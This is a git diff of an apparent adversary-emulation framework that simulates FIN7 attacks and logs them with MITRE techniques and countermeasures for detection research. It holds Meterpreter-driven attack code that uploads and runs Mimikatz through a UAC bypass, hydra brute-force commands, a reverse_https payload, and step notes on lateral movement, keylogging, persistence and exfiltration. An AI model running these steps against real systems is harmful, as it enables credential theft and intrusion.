print(metasploit.meterpreter_execute_on(["arp"], hotelmanager)) + print(metasploit.arp_network_discovery(hotelmanager, + situation_description="Ready for first network enumeration", + countermeasure="Maybe detect direct arp access. Should be uncommon for normal tools.")) + # powershell: nslookup to query domain controler(hoteldc) for ip from ARP (Caldera ?) https://attack.mitre.org/techniques/T1018/ # TODO: Add a new machine in config as ip. Re-activate. This command caused trouble afterwards (uploading mimikatz). Maybe it is because of an error - itadmin = self.get_target_by_name("itadmin").get_ip() + itadmin = self.get_target_by_name("itadmin") self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}Execute nslookup through meterpreter{CommandlineColors.ENDC}", 1) - cmd = f"execute -f nslookup.exe -H -i -a '{itadmin}'" - print(metasploit.meterpreter_execute_on([cmd], hotelmanager)) + # cmd = f"execute -f nslookup.exe -H -i -a '{itadmin}'" + # print(metasploit.meterpreter_execute_on([cmd], hotelmanager)) + print(metasploit.nslookup(hotelmanager, itadmin, + situation_description="Looking up info on the next target, the machine itadmin")) # Copy step 5 attack tools to attacker @@ -239,26 +311,51 @@ class FIN7Plugin(AttackPlugin): self.attacker_machine_plugin.put(os.path.join(os.path.dirname(self.plugin_path), "resources", "step5", "samcat.exe"), "samcat.exe") self.attacker_machine_plugin.put(os.path.join(os.path.dirname(self.plugin_path), "resources", "step5", "uac-samcats.ps1"), "uac-samcats.ps1") print(metasploit.meterpreter_execute_on(["ls"], hotelmanager, delay=10)) - cmd = "upload samcat.exe 'samcat.exe' " + # cmd = "upload boring_test_file.txt 'samcat.exe' " - print(cmd) + self.attack_logger.vprint( f"{CommandlineColors.OKCYAN}Uploading mimikatz through meterpreter{CommandlineColors.ENDC}", 1) - print(metasploit.meterpreter_execute_on([cmd], hotelmanager, delay=10)) - - cmd = "upload uac-samcats.ps1 'uac-samcats.ps1' " + # cmd = "upload samcat.exe 'samcat.exe' " + # print(cmd) + # print(metasploit.meterpreter_execute_on([cmd], hotelmanager, delay=10)) + print(metasploit.upload(hotelmanager, "samcat.exe", "samcat.exe", + situation_description="Uploading Mimikatz", + countermeasure="File detection")) + + # cmd = "upload uac-samcats.ps1 'uac-samcats.ps1' " # cmd = "upload boring_test_file.txt 'samcat.exe' " - print(cmd) + # print(cmd) self.attack_logger.vprint( f"{CommandlineColors.OKCYAN}Uploading UAC bypass script through meterpreter{CommandlineColors.ENDC}", 1) - print(metasploit.meterpreter_execute_on([cmd], hotelmanager, delay=10)) + # print(metasploit.meterpreter_execute_on([cmd], hotelmanager, delay=10)) + print(metasploit.upload(hotelmanager, "uac-samcats.ps1", "uac-samcats.ps1", + delay=10, + situation_description="Uploading UAC bypass powershell script. This one will execute Mimikatz", + countermeasure="File detection")) # execute uac-samcats.ps1 This: spawns a powershell from powershell -> samcat.exe as high integrity process https://attack.mitre.org/techniques/T1548/002/ execute_samcats = "execute -f powershell.exe -H -i -a '-c ./uac-samcats.ps1'" print(execute_samcats) self.attack_logger.vprint( f"{CommandlineColors.OKCYAN}Execute UAC bypass (and mimikatz) through meterpreter{CommandlineColors.ENDC}", 1) + logid = self.attack_logger.start_metasploit_attack(source=self.attacker_machine_plugin.get_ip(), + target=hotelmanager.get_ip(), + metasploit_command=execute_samcats, + ttp="T1003", + name="execute_mimikatz", + description="Execute Mimikatz to access OS credentials", + tactics="Credential Access", + tactics_id="TA0006", + situation_description="Executing Mimikatz through UAC bypassing powershell", + countermeasure="Behaviour detection" + ) print(metasploit.meterpreter_execute_on([execute_samcats], hotelmanager, delay=20)) + self.attack_logger.stop_metasploit_attack(source=self.attacker_machine_plugin.get_ip(), + target=hotelmanager.get_ip(), + metasploit_command=execute_samcats, + ttp="T1003", + logid=logid) # samcat.exe: reads local credentials https://attack.mitre.org/techniques/T1003/001/ @@ -325,7 +422,19 @@ class FIN7Plugin(AttackPlugin): def step6(self): self.attack_logger.vprint( f"{CommandlineColors.OKBLUE}Step 6 (target hotelmanager -> itadmin): Expand Access{CommandlineColors.ENDC}", 1) - + self.attack_logger.start_narration( + "Step 6 (target hotelmanager and itadmin): Expand Access\n----------------------------") + self.attack_logger.start_narration(""" +NOT IMPLEMENTED YET. NEEDS A SECOND MACHINE FOR LATERAL MOVEMENT +* powershell download: paexec.exe and hollow.exe https://attack.mitre.org/techniques/T1105/ +* spawn powershell through cmd +* We move to the itadmin host: Use password with paexec to move lateral to it admin host https://attack.mitre.org/techniques/T1021/002/ +* paexec starts temporary windows service and executes hollow.exe https://attack.mitre.org/techniques/T1021/002/ +* https://www.poweradmin.com/paexec/ +* => Lateral move to itadmin +* hollow.exe spawns svchost and unmaps memory image https://attack.mitre.org/techniques/T1055/012/ +* svchost starts data exchange + """) # This is meterpreter ! # powershell download: paexec.exe and hollow.exe https://attack.mitre.org/techniques/T1105/ @@ -375,6 +484,21 @@ class FIN7Plugin(AttackPlugin): def step7(self): self.attack_logger.vprint( f"{CommandlineColors.OKBLUE}Step 7 on itadmin: Setup User Monitoring{CommandlineColors.ENDC}", 1) + self.attack_logger.start_narration( + "Step 7 (target itadmin): Setup User Monitoring\n----------------------------") + self.attack_logger.start_narration(""" +NOT IMPLEMENTED YET. A REPLACEMENT FOR THE ALOHA COMMAND CENTER IS NEEDED + +* Start situation: Step 6 executed a meterpreter in hollow.exe We can fake that to be able to start with step 7 directly +* BOOSTWRITE does DLL Hijack within a propriteary piece of software (Aloha Command Center) +* This is meterpreter ! +* Emulating DLL hijacking functionality of BOOSTWRITE +* Create BOOSTWRITE meterpreter handler +* Create temporary HTTP server serving "B" as XOR Key +* hollow.exe meterpreter session dowloads BOOSTWRITE.dll to srrstr.dll https://attack.mitre.org/techniques/T1105/ +* cmd.exe spawns svchost.exe -> executes SystemPropertiesAdvanced.exe which executes srrstr.dll +* srrstr.dll spawns rundll32.exe which communicates to metasploit. New shell ! +""") # Start situation: Step 6 executed a meterpreter in hollow.exe We can fake that to be able to start with step 7 directly # BOOSTWRITE does DLL Hijack within a propriteary piece of software (Aloha Command Center) @@ -396,6 +520,18 @@ class FIN7Plugin(AttackPlugin): def step8(self): self.attack_logger.vprint( f"{CommandlineColors.OKBLUE}Step 8 (target: itadmin as domain_admin): User Monitoring{CommandlineColors.ENDC}", 1) + self.attack_logger.start_narration( + "Step 8 (target itadmin): User Monitoring\n----------------------------") + self.attack_logger.start_narration(""" +NOT IMPLEMENTED YET. MAYBE DO THIS PARTIAL. KEYLOGGING NEEDS USER INTERACTION. +(Screen spying and keylogging are already implemented as standalone metasploit attacks. Use them) + +* Meterpreter migrates to explorer.exe (from svchost) https://attack.mitre.org/techniques/T1055/ +* screenspy for screen capture https://attack.mitre.org/techniques/T1113/ +* migrate session to mstsc.exe https://attack.mitre.org/techniques/T1056/001/ +* deploy keylogger https://attack.mitre.org/techniques/T1056/001/ +* create a RDP session from itadmin -> accounting using stolen credentials +""") # This is meterpreter ! @@ -405,6 +541,8 @@ class FIN7Plugin(AttackPlugin): # deploy keylogger https://attack.mitre.org/techniques/T1056/001/ # create a RDP session from itadmin -> accounting using stolen credentials + # TODO: Screen spying and keylogging are already implemented as standalone metasploit attacks. Use them + self.attack_logger.vprint( f"{CommandlineColors.OKGREEN}End Step 8: User Monitoring{CommandlineColors.ENDC}", 1) @@ -461,6 +599,15 @@ class FIN7Plugin(AttackPlugin): def step9(self): self.attack_logger.vprint( f"{CommandlineColors.OKBLUE}Step 9 (target: accounting): Setup Shim Persistence{CommandlineColors.ENDC}", 1) + self.attack_logger.start_narration( + "Step 9 (target accounting): Setup Shim Persistence\n----------------------------") + self.attack_logger.start_narration(""" +NOT IMPLEMENTED YET + +* powershell.exe executes base64 encoded commands (Caldera ?) +* Downloads dll329.dll and sdbE376 +* persistence: sdbinst.exe installs sdbE376.tmp for application shimming https://attack.mitre.org/techniques/T1546/011/ +""") # This is meterpreter ! @@ -524,6 +671,17 @@ class FIN7Plugin(AttackPlugin): self.attack_logger.vprint( f"{CommandlineColors.OKBLUE}Step 10 (target: accounting): Steal Payment Data{CommandlineColors.ENDC}", 1) + self.attack_logger.start_narration( + "Step 10 (target accounting): Steal Payment Data\n----------------------------") + self.attack_logger.start_narration(""" +NOT IMPLEMENTED YET. NEEDS TARGET REBOOTING: NO IDEA IF ATTACKX CAN SUPPORT THAT + +* Machine is rebooted +* shim dll329.dll is activated https://attack.mitre.org/techniques/T1546/011/ +* AccountingIQ injects into SyncHost.exe, rundll32.exe communicates to C2 +* debug.exe(pillowMint.exe) is downloaded from C2, does process discovery https://attack.mitre.org/techniques/T1105/ +* send 7za.exe to target. Zip stolen data, exfiltrate +""") # This is meterpreter ! @@ -576,15 +734,15 @@ class FIN7Plugin(AttackPlugin): self.build_step10() # DONE - # self.step1() - # self.step2() + self.step1() + self.step2() self.step3() # DONE and works self.step4() # PARTIAL - with a hack. Needs compilation of babymetal: Needs a powershell to execute on the build system. And this one needs system access self.step5() # DONE and quite ok - # self.step6() # Hollow.exe has to be generated - # self.step7() # Will need compilation of an attack tool Boostwrite - # self.step8() # Migration and credential collection, on itadmin - # self.step9() # on accounting, shim persistence bin329.tmp needs to be generated - # self.step10() # on accounting, AccountingIQ.c needs compilation. But just once. + self.step6() # Hollow.exe has to be generated + self.step7() # Will need compilation of an attack tool Boostwrite + self.step8() # Migration and credential collection, on itadmin + self.step9() # on accounting, shim persistence bin329.tmp needs to be generated + self.step10() # on accounting, AccountingIQ.c needs compilation. But just once. return "" diff --git a/plugins/default/kali/hydra/hydra_plugin.py b/plugins/default/kali/hydra/hydra_plugin.py index 5259bf6..f34442a 100644 --- a/plugins/default/kali/hydra/hydra_plugin.py +++ b/plugins/default/kali/hydra/hydra_plugin.py @@ -11,6 +11,8 @@ class HydraPlugin(AttackPlugin): name = "hydra" description = "A plugin controlling the hydra brute forcing tool" ttp = "T1110" + tactics_id = "T1110.003" + tactics = "Credential access" references = ["https://attack.mitre.org/techniques/T1110/"] required_files_attacker = ["passwords.txt", "users.txt"] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share @@ -27,6 +29,7 @@ class HydraPlugin(AttackPlugin): # Set defaults if not present in config playground = self.attacker_machine_plugin.get_playground() + total_res = "" # Generate command cmd = f"cd {playground};" @@ -34,7 +37,24 @@ class HydraPlugin(AttackPlugin): for t in targets: for p in self.conf['protocols']: cmd += f"hydra -L {self.conf['userfile']} -P {self.conf['pwdfile']} {p}://{t.get_ip()};" - - res = self.attacker_run_cmd(cmd) or "" - - return res + logid = self.attack_logger.start_kali_attack(source=self.attacker_machine_plugin.get_ip(), + target=t.get_ip(), + attack_name=self.name, + ttp=self.ttp, + name="Hydra brute force", + tactics=self.tactics, + tactics_id=self.tactics_id, + description="Hydra can brute force accounts/passwords for different protocols", + situation_description=f"Hydra attack on {t.get_ip()}, protocol: {p}", + countermeasure="Statistics at the firewall. Close connections with too many failed connection attempts.", + kali_command=cmd + ) + res = self.attacker_run_cmd(cmd) or "" + total_res += res + self.attack_logger.stop_kali_attack(source=self.attacker_machine_plugin.get_ip(), + target=t.get_ip(), + attack_name=self.name, + ttp=self.ttp, + logid=logid) + + return total_res diff --git a/plugins/default/metasploit_attacks/metasploit_getsystem/metasploit_getsystem.py b/plugins/default/metasploit_attacks/metasploit_getsystem/metasploit_getsystem.py index c4eb5b7..8fa6687 100644 --- a/plugins/default/metasploit_attacks/metasploit_getsystem/metasploit_getsystem.py +++ b/plugins/default/metasploit_attacks/metasploit_getsystem/metasploit_getsystem.py @@ -26,8 +26,9 @@ class MetasploitGetsystemPlugin(AttackPlugin): @param targets: A list of targets, ip addresses will do """ + self.attack_logger.start_narration("A metasploit command like that is used to get system privileges for the next attack step.") res = "" - payload_type = "windows/x64/meterpreter/reverse_https" + payload_type = "windows/meterpreter/reverse_https" payload_name = "babymetal.exe" target = self.targets[0] @@ -38,6 +39,9 @@ class MetasploitGetsystemPlugin(AttackPlugin): metasploit.smart_infect(target, payload_type, payload_name, ) - metasploit.getsystem(target) + metasploit.getsystem(target, + situation_description="This is an example standalone attack step. In real world attacks there would be events before and after", + countermeasure="Observe how pipes are used. Take steps before (gaining access) and after (abusing those new privileges) into account for detection." + ) return res diff --git a/templates/attack_description.rst b/templates/attack_description.rst new file mode 100644 index 0000000..46c8fe1 --- /dev/null +++ b/templates/attack_description.rst @@ -0,0 +1,105 @@ +Attack +====== + +Target systems +-------------- + +Attack steps +------------ + +{% for e in events %} + {% if e.event is eq("start") %} + {% if e.type is eq("dropping_file") %} + Dropping file to target + ~~~~~~~~~~~~~~~~~~~~~~~ + At {{ e.timestamp }} + + The file {{ e.file_name }} is dropped to the target {{ e.target }}. + {% endif %} + {% if e.type is eq("execute_payload") %} + Executing payload on target + ~~~~~~~~~~~~~~~~~~~~~~~~~~~ + At {{ e.timestamp }} + + The command {{ e.command }} is used to start a file on the target {{ e.target }}. + {% endif %} + {% if e.type is eq("narration") %} + {{ e.text }} + {% endif %} + + + {% if e.sub_type is eq("metasploit") %} + Metasploit attack {{ e.name }} + ~~~~~~~~~~~~~~~~~~~~~~~~~~ + Tactics: {{ e.tactics }} + Tactics ID: {{ e.tactics_id }} + Hunting Tag: {{ e.hunting_tag}} + + At {{ e.timestamp }} a Metasploit command {{ e.name }} was used to attack {{ e.target }} from {{ e.source }}. + + {{ e.description }} + + {% if e.metasploit_command is string() %} + Metasploit command: {{ e.metasploit_command }} + {% endif %} + + {% if e.situation_description is string() %} + Situation: {{ e.situation_description }} + {% endif %} + + {% if e.countermeasure is string() %} + Countermeasure: {{ e.countermeasure }} + {% endif %} + {% endif %} + + {% if e.sub_type is eq("kali") %} + Kali attack {{ e.name }} + ~~~~~~~~~~~~~~~~~~~~~~~~~~ + Tactics: {{ e.tactics }} + Tactics ID: {{ e.tactics_id }} + Hunting Tag: {{ e.hunting_tag}} + + At {{ e.timestamp }} a Kali command {{ e.kali_name }} was used to attack {{ e.target }} from {{ e.source }}. + + {{ e.description }} + + {% if e.kali_command is string() %} + Kali command: {{ e.kali_command }} + {% endif %} + + {% if e.situation_description is string() %} + Situation: {{ e.situation_description }} + {% endif %} + + {% if e.countermeasure is string() %} + Countermeasure: {{ e.countermeasure }} + {% endif %} + {% endif %} + + {% if e.sub_type is eq("caldera") %} + Caldera attack {{ e.name }} + ~~~~~~~~~~~~~~~~~~~~~~~~~~ + Tactics: {{ e.tactics }} + Tactics ID: {{ e.tactics_id }} + Hunting Tag: {{ e.hunting_tag}} + + At {{ e.timestamp }} a Caldera ability {{ e.ability_id }}/"{{ e.name }}" was used to attack the group {{ e.target_group }} from {{ e.source }}. + + {{ e.description }} + + {% if e.situation_description is string() %} + Situation: {{ e.situation_description }} + {% endif %} + + {% if e.countermeasure is string() %} + Countermeasure: {{ e.countermeasure }} + {% endif %} + {% endif %} + + + + + + {% endif %} {# event equal start #} + +{% endfor %} \ No newline at end of file diff --git a/tests/test_attack_log.py b/tests/test_attack_log.py index d8889ab..b124834 100644 --- a/tests/test_attack_log.py +++ b/tests/test_attack_log.py @@ -41,7 +41,7 @@ class TestMachineConfig(unittest.TestCase): data = al.get_dict() self.assertEqual(data[0]["event"], "start") self.assertEqual(data[0]["type"], "attack") - self.assertEqual(data[0]["sub-type"], "caldera") + self.assertEqual(data[0]["sub_type"], "caldera") self.assertEqual(data[0]["source"], source) self.assertEqual(data[0]["target_paw"], paw) self.assertEqual(data[0]["target_group"], group) @@ -71,7 +71,7 @@ class TestMachineConfig(unittest.TestCase): data = al.get_dict() self.assertEqual(data[0]["event"], "stop") self.assertEqual(data[0]["type"], "attack") - self.assertEqual(data[0]["sub-type"], "caldera") + self.assertEqual(data[0]["sub_type"], "caldera") self.assertEqual(data[0]["source"], source) self.assertEqual(data[0]["target_paw"], paw) self.assertEqual(data[0]["target_group"], group) @@ -95,7 +95,7 @@ class TestMachineConfig(unittest.TestCase): data = al.get_dict() self.assertEqual(data[0]["event"], "start") self.assertEqual(data[0]["type"], "attack") - self.assertEqual(data[0]["sub-type"], "kali") + self.assertEqual(data[0]["sub_type"], "kali") self.assertEqual(data[0]["source"], source) self.assertEqual(data[0]["target"], target) self.assertEqual(data[0]["kali_name"], attack_name) @@ -116,7 +116,7 @@ class TestMachineConfig(unittest.TestCase): data = al.get_dict() self.assertEqual(data[0]["event"], "stop") self.assertEqual(data[0]["type"], "attack") - self.assertEqual(data[0]["sub-type"], "kali") + self.assertEqual(data[0]["sub_type"], "kali") self.assertEqual(data[0]["source"], source) self.assertEqual(data[0]["target"], target) self.assertEqual(data[0]["kali_name"], attack_name) @@ -137,7 +137,7 @@ class TestMachineConfig(unittest.TestCase): data = al.get_dict() self.assertEqual(data[0]["event"], "start") self.assertEqual(data[0]["type"], "attack") - self.assertEqual(data[0]["sub-type"], "metasploit") + self.assertEqual(data[0]["sub_type"], "metasploit") self.assertEqual(data[0]["source"], source) self.assertEqual(data[0]["target"], target) self.assertEqual(data[0]["metasploit_command"], attack_name) @@ -158,7 +158,7 @@ class TestMachineConfig(unittest.TestCase): data = al.get_dict() self.assertEqual(data[0]["event"], "stop") self.assertEqual(data[0]["type"], "attack") - self.assertEqual(data[0]["sub-type"], "metasploit") + self.assertEqual(data[0]["sub_type"], "metasploit") self.assertEqual(data[0]["source"], source) self.assertEqual(data[0]["target"], target) self.assertEqual(data[0]["metasploit_command"], attack_name) @@ -179,7 +179,7 @@ class TestMachineConfig(unittest.TestCase): data = al.get_dict() self.assertEqual(data[0]["event"], "start") self.assertEqual(data[0]["type"], "attack") - self.assertEqual(data[0]["sub-type"], "attack_plugin") + self.assertEqual(data[0]["sub_type"], "attack_plugin") self.assertEqual(data[0]["source"], source) self.assertEqual(data[0]["target"], target) self.assertEqual(data[0]["plugin_name"], attack_name) @@ -200,7 +200,7 @@ class TestMachineConfig(unittest.TestCase): data = al.get_dict() self.assertEqual(data[0]["event"], "stop") self.assertEqual(data[0]["type"], "attack") - self.assertEqual(data[0]["sub-type"], "attack_plugin") + self.assertEqual(data[0]["sub_type"], "attack_plugin") self.assertEqual(data[0]["source"], source) self.assertEqual(data[0]["target"], target) self.assertEqual(data[0]["plugin_name"], attack_name) @@ -219,7 +219,7 @@ class TestMachineConfig(unittest.TestCase): data = al.get_dict() self.assertEqual(data[0]["event"], "start") self.assertEqual(data[0]["type"], "dropping_file") - self.assertEqual(data[0]["sub-type"], "by PurpleDome") + self.assertEqual(data[0]["sub_type"], "by PurpleDome") self.assertEqual(data[0]["source"], source) self.assertEqual(data[0]["target"], target) self.assertEqual(data[0]["file_name"], file_name) @@ -237,7 +237,7 @@ class TestMachineConfig(unittest.TestCase): data = al.get_dict() self.assertEqual(data[0]["event"], "stop") self.assertEqual(data[0]["type"], "dropping_file") - self.assertEqual(data[0]["sub-type"], "by PurpleDome") + self.assertEqual(data[0]["sub_type"], "by PurpleDome") self.assertEqual(data[0]["source"], source) self.assertEqual(data[0]["target"], target) self.assertEqual(data[0]["file_name"], file_name) @@ -255,7 +255,7 @@ class TestMachineConfig(unittest.TestCase): data = al.get_dict() self.assertEqual(data[0]["event"], "start") self.assertEqual(data[0]["type"], "execute_payload") - self.assertEqual(data[0]["sub-type"], "by PurpleDome") + self.assertEqual(data[0]["sub_type"], "by PurpleDome") self.assertEqual(data[0]["source"], source) self.assertEqual(data[0]["target"], target) self.assertEqual(data[0]["command"], command) @@ -273,7 +273,7 @@ class TestMachineConfig(unittest.TestCase): data = al.get_dict() self.assertEqual(data[0]["event"], "stop") self.assertEqual(data[0]["type"], "execute_payload") - self.assertEqual(data[0]["sub-type"], "by PurpleDome") + self.assertEqual(data[0]["sub_type"], "by PurpleDome") self.assertEqual(data[0]["source"], source) self.assertEqual(data[0]["target"], target) self.assertEqual(data[0]["command"], command) diff --git a/tests/test_metasploit.py b/tests/test_metasploit.py new file mode 100644 index 0000000..e69de29 diff --git a/tools/human_readable_documentation/conf.py b/tools/human_readable_documentation/conf.py new file mode 100644 index 0000000..5b3404c --- /dev/null +++ b/tools/human_readable_documentation/conf.py @@ -0,0 +1,46 @@ +# Configuration file for the Sphinx documentation builder. +# +# This file only contains a selection of the most common options. For a full +# list see the documentation: +# https://www.sphinx-doc.org/en/master/usage/configuration.html + +# -- Path setup -------------------------------------------------------------- + +# If extensions (or modules to document with autodoc) are in another directory, +# add these directories to sys.path here. If the directory is relative to the +# documentation root, use os.path.abspath to make it absolute, like shown here. +# +# import os +# import sys + + +# -- Project information ----------------------------------------------------- + +project = 'PurpleDome Simulation' +copyright = '2021, Avast' +author = 'Thorsten Sick' + + +# -- General configuration --------------------------------------------------- + + +# Add any paths that contain templates here, relative to this directory. +templates_path = ['_templates'] + +# List of patterns, relative to source directory, that match files and +# directories to ignore when looking for source files. +# This pattern also affects html_static_path and html_extra_path. +exclude_patterns = [] + + +# -- Options for HTML output ------------------------------------------------- + +# The theme to use for HTML and HTML Help pages. See the documentation for +# a list of builtin themes. +# +html_theme = 'haiku' + +# Add any paths that contain custom static files (such as style sheets) here, +# relative to this directory. They are copied after the builtin static files, +# so a file named "default.css" will overwrite the builtin "default.css". +html_static_path = ['_static']